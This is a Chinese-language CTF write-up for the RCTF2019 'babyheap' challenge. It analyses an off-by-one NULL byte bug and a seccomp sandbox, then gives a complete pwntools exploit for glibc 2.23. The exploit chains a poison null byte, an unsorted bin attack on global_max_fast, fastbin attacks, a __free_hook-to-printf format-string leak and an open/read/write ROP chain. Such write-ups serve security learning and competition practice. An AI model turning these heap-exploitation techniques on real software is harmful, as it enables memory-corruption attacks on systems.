RCTF2019 babyheap

前言:

周末做了下RCTF,还是太菜了,babyheap这道题,本来以为就是基本的NULL byte poison,然后house of orange,后来发现seccomp禁用了execve,然后就不会了,赛后看了大佬的wp才知道是unsorted bin attack修改global_max_fast,这个在ctf wiki上出现过,但是一直没有试过…戳到我的盲区了…..

程序分析:

和常规pwn题一样,保护全开,菜单题目.

init函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("open failed!");
exit(-1);
}
read(fd, &ptrs, 8uLL);
close(fd);
ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
mallopt(1, 0);
if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )
{
puts("mmap error!");
exit(-1);
}
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
puts("Could not start seccomp:");
exit(-1);
}
if ( prctl(22, 2LL, &filterprog) == -1 )
{
puts("Could not start seccomp:");
exit(-1);
}

mmap了一块随机的区域用来存放申请的堆块的信息。
mallopt(1, 0)禁用了fastbin,其实是将global_max_fast 这个全局变量修改为0,开始不清楚禁用fastbin的机制,就没有往修改global_max_fast上想.
prctl函数禁用了一些系统调用:

1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
...

其中禁用了execve,那就拿不到shell了,只能通过open,read,write来读取flag.

add函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LODWORD(idx) = 0;
while ( *((_QWORD *)ptrs + 2 * (signed int)idx) && (signed int)idx <= 15 )
LODWORD(idx) = idx + 1;
if ( (_DWORD)idx == 16 )
{
puts("You can't");
exit(-1);
}
printf("Size: ", idx);
size = get_int();
if ( size <= 0 || size > 0x1000 )
{
puts("Invalid size :(");
}
else
{
*((_DWORD *)ptrs + 4 * idxa + 2) = size;
v0 = (void **)((char *)ptrs + 16 * idxa);
*v0 = calloc(size, 1uLL);
puts("Add success :)");
}

最多只能申请16个chunk,申请的chunk的地址,和输入的size信息存放在mmap分配的区域中,输入的size不能超过0x1000

edit函数:
1
2
3
4
5
6
7
8
9
printf("Index: ");
LODWORD(idx) = get_int();
if ( (signed int)idx >= 0 && (signed int)idx <= 15 && *((_QWORD *)ptrs + 2 * (signed int)idx) )// offbyNULL
{
printf("Content: ", idx);
v1 = read_n(*((void **)ptrs + 2 * v0), *((_DWORD *)ptrs + 4 * v0 + 2));
*(_BYTE *)(*((_QWORD *)ptrs + 2 * v0) + v1) = 0;
puts("Edit success :)");
}

存在offbyone漏洞,溢出字节为NULL.很显然,unsorted bin的poison_null_byte来造成堆块重叠.
show和delete函数就是常规的打印操作和free操作,且free操作没有UAF,将指针和size都清零了.

利用思路:

由于不能得到shell,只能向栈上写rop,open,read,write读取flag.

  1. 首先利用poison_null_byte造成堆块重叠
  2. 利用堆块重叠,leak出libc.
  3. 利用堆块重叠造成 unsorted bin attack修改global_max_fast为&main_arena+88,这样就可以使用fastbin,造成fastbin attack.
  4. fastbin attack在mian_arena中写入合法的chunk_size (利用手法0ctf 2018 babyheap)
  5. 然后将chunk分配到main_arena,修改top chunk的地址到__free_hook附近处,一般离的很远…
  6. 申请到__free_hook附近的chunk,由于离的比较远,大约0x1000左右…所以需要先写入一个合法的size,然后再利用fastbin attack申请到这个chunk.
  7. 利用申请到的chunk,修改__free_hook为printf的地址,然后利用格式化串漏洞leak出栈地址和程序基址,再利用格式化串漏洞向栈中写入合法的chunk_size(栈中有saved rbp,可以用%lln直接写入)
  8. 然后将chunk分配到栈中,再在栈中写入ptr的地址(ptr中保存的有mmap分配的地址),再利用格式化串(%s)leak出mmap分配的地址.
  9. 得到mmap的地址后,利用fastbin attack,将chunk分配到mmap分配的区域,这样指针和size都可控了,将指针修改为栈的返回地址,然后利用edit写入ROP即可。

ROP可以是用mprotect将栈可执行,然后写入shellcode,也可以直接open,read,write,由于libc中有xchg eax,edi ; ret ,直接open,read,write即可。

注意unsorted bin attack的时候,需要把unsorted bin中剩下的chunk一下申请完,就不会报错,会直接将整块chunk返回给你:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsorted_chunks (av)->bk = bck;  //
bck->fd = unsorted_chunks (av); //unsorted bin attack,将目标修改为 &main_arena+88

/* Take now instead of binning if exact fit */

if (size == nb) //恰好相等,直接返回
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

完整利用脚本:

环境是ubuntu16.04 ,glibc2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
context.terminal=["tmux","splitw",'-h']
if local :
a=process("./babyheap")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")
libc=ELF("./libc-2.23.so")

elf=ELF("./babyheap")
def debug():
gdb.attach(a,'''
b *(0x555555554000+0x000000000001103)
b *(0x555555554000+0x000000000001327)
b *(0x555555554000+0x000000000001240)
''')
#add,delete,edit
def menu(index):
a.recvuntil("Choice: \n")
a.sendline(str(index))
def add(size):
menu(1)
a.recvuntil("Size: ")
a.sendline(str(size))
def edit(index,content):
menu(2)
a.recvuntil("Index: ")
a.sendline(str(index))
a.recvuntil("Content: ")
a.send(content)
def delete(index):
menu(3)
a.recvuntil("Index: ")
a.sendline(str(index))
def show(index):
menu(4)
a.recvuntil("Index: ")
a.sendline(str(index))

add(0x18)#0 0
add(0x910)#1 0x20
add(0x100)#2 0x1c0
add(0x10)#3
edit(1,'A'*0x8f0+p64(0x900)+p64(0x81))#fake size
delete(1)
edit(0,'\x00'*0x18)#offbyone
add(0x10)#1 0x20
add(0x10)#4 0x40
add(0x8d8-0x20)#5 0x60
delete(1)
delete(2)

add(0x10)#1 0x20
show(4)

libc_base = u64(a.recv(6).ljust(8,'\x00'))-88-libc.symbols["__malloc_hook"]-0x10
success("libc_base ==> 0x%x"%libc_base)
malloc_hook=libc_base+libc.symbols["__malloc_hook"]
fake_chunk=malloc_hook-0x23


add(0x20)#2
edit(2,'A'*0x10+p64(0)+p64(0x8d8-0x20+8+1))
free_hook=libc_base+libc.symbols["__free_hook"]
global_max_fast=libc_base+0x3c67f8

fake_file=p64(0)+p64(0x4e1)
fake_file+='A'*8+p64(global_max_fast-0x10) #unsortedbin attack

edit(5,fake_file)
add(0x4d0) #6 0x70
edit(5,p64(0)+p64(0x71)+'A'*0x60+p64(0)+p64(0x21)+p64(0)+p64(0x21))
delete(6)
edit(5,p64(0)+p64(0x71)+p64(0x81))
add(0x68) # 6
edit(5,p64(0)+p64(0x81))
delete(6)
main_arena=libc_base+libc.symbols["__malloc_hook"]+0x10
fake_chunk=libc_base+0x3c4b50-0x8
success("fake_chunk_addr ==> 0x%x"%fake_chunk)
edit(5,p64(0)+p64(0x81)+p64(fake_chunk))
add(0x78)#6
add(0x78)#7 get fake_chunk

fake_top_chunk=0x3c5710+libc_base
payload='\x00'*0x20+p64(fake_top_chunk)+'\x00'*(0x10-8)
payload+=p64(libc_base+0x00007ffff7dd1b78-0x7ffff7a0d000)*2
edit(7,payload) #恢复unsorted bin

edit(5,p64(0)+p64(0x71)+'A'*0x60+p64(0)+p64(0x21))
delete(6)
edit(5,p64(0)+p64(0x71)+p64(0))#恢复fastbin
add(0x68)#6
#0x1098
add(0x100)#8
edit(8,p64(0)+p64(0x880))
edit(5,p64(0)+p64(0x881)+'A'*0x870+p64(0)+p64(0x21))
delete(6)

edit(5,p64(0)+p64(0x881)+p64(0x7ffff7dd2720-0x7ffff7a0d000+libc_base))
add(0x870)#6
add(0x870)#9 get fake_chunk
edit(9,'A'*0x860+p64(0)+p64(0x880))


edit(5,p64(0)+p64(0x881)+'A'*0x870+p64(0)+p64(0x21))
delete(6)
edit(5,p64(0)+p64(0x881)+p64(0x7ffff7dd2f90-0x7ffff7a0d000+libc_base))
add(0x870)#6
add(0x870)#10 get fake_chunk


printf_addr=libc_base+libc.symbols["printf"]
success("printf_addr ==> 0x%x"%printf_addr)
edit(10,'\x00'*0x808+p64(printf_addr)) #修改__free_hook ==> printf
#b *0x7ffff7a915e5
edit(0,'%9$p%8$p') # 0xd74
delete(0)
text_base=int(a.recv(14),16)-0xd74
success("text_base ==> 0x%x"%text_base)
stack_addr=int(a.recv(14),16)
success("stack_addr ==> 0x%x"%stack_addr)
fake_stack_chunk=stack_addr+0x40-0x8
success("fake_stack_chunk ==> 0x%x"%fake_stack_chunk)

edit(1,'%48c%18$lln')
delete(1)

ptr_addr=0x202110+text_base
success("ptr_addr ==> 0x%x"%ptr_addr)
edit(10,'\x00'*0x808+p64(0)+'\x00'*0x48+p64(0x12345678))#free_hook ==> 0
edit(5,p64(0)+p64(0x31)+'A'*0x20+p64(0)+p64(0x21))
delete(6)
edit(5,p64(0)+p64(0x30)+p64(fake_stack_chunk))
add(0x28)#0
add(0x28)#1 get fake chunk
edit(1,p64(ptr_addr+2))

edit(10,'\x00'*0x808+p64(printf_addr))# free_hook ==> printf
edit(2,"%23$sA")
delete(2)
mmap_addr='\x00\x00'+a.recvuntil("A",drop=True)
mmap_addr=u64(mmap_addr.ljust(8,'\x00'))
success("mmap_addr ==> 0x%x"%mmap_addr)

edit(10,'\x00'*0x808+p64(0))# __free_hook ==> 0
edit(5,p64(0)+p64(0x71)+'A'*0x60+p64(0)+p64(0x21))
delete(0)
edit(5,p64(0)+p64(0x71)+p64(mmap_addr+0x70))
add(0x68)#0
add(0x68)#2 get mmap , 修改8 , 9 , 10 。。。。
dest_addr=stack_addr+0x28

read_addr=libc_base+libc.symbols["read"]
open_addr=libc_base+libc.symbols["open"]
write_addr=libc_base+libc.symbols["write"]
pop_rdi_ret=text_base+0x1433
pop_rsi_r15_ret=text_base+0x1431
read_got=text_base+0x201F98
push_rax_ret=libc_base+0x00000000000348fd
pop_rsi_ret=libc_base+0x202e8
pop_rdx_ret=libc_base+0x1b92
pop_rdi_pop_rbp_ret=libc_base+0x20256
xchg_eax_edi_ret=libc_base+0x00000000000b0aa4
#ROP chain
payload=p64(pop_rdi_ret)
payload+=p64(dest_addr+18*8+0xd)
payload+=p64(pop_rsi_ret)
payload+=p64(0x4)
payload+=p64(open_addr)
payload+=p64(xchg_eax_edi_ret)
payload+=p64(pop_rsi_ret)
payload+='A'*0xd
payload+=p64(dest_addr+20*8)
payload+=p64(pop_rdx_ret)
payload+=p64(0x10)
payload+=p64(read_addr)
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(dest_addr+20*8)
payload+=p64(pop_rdx_ret)
payload+=p64(0x10)
payload+=p64(write_addr)
payload+="/mnt/hgfs/Desktop/rctf/babyheap/flag\x00"
edit(2,p64(dest_addr)+p64(0x200))
edit(8,payload)#在返回地址处填入ROP
a.interactive()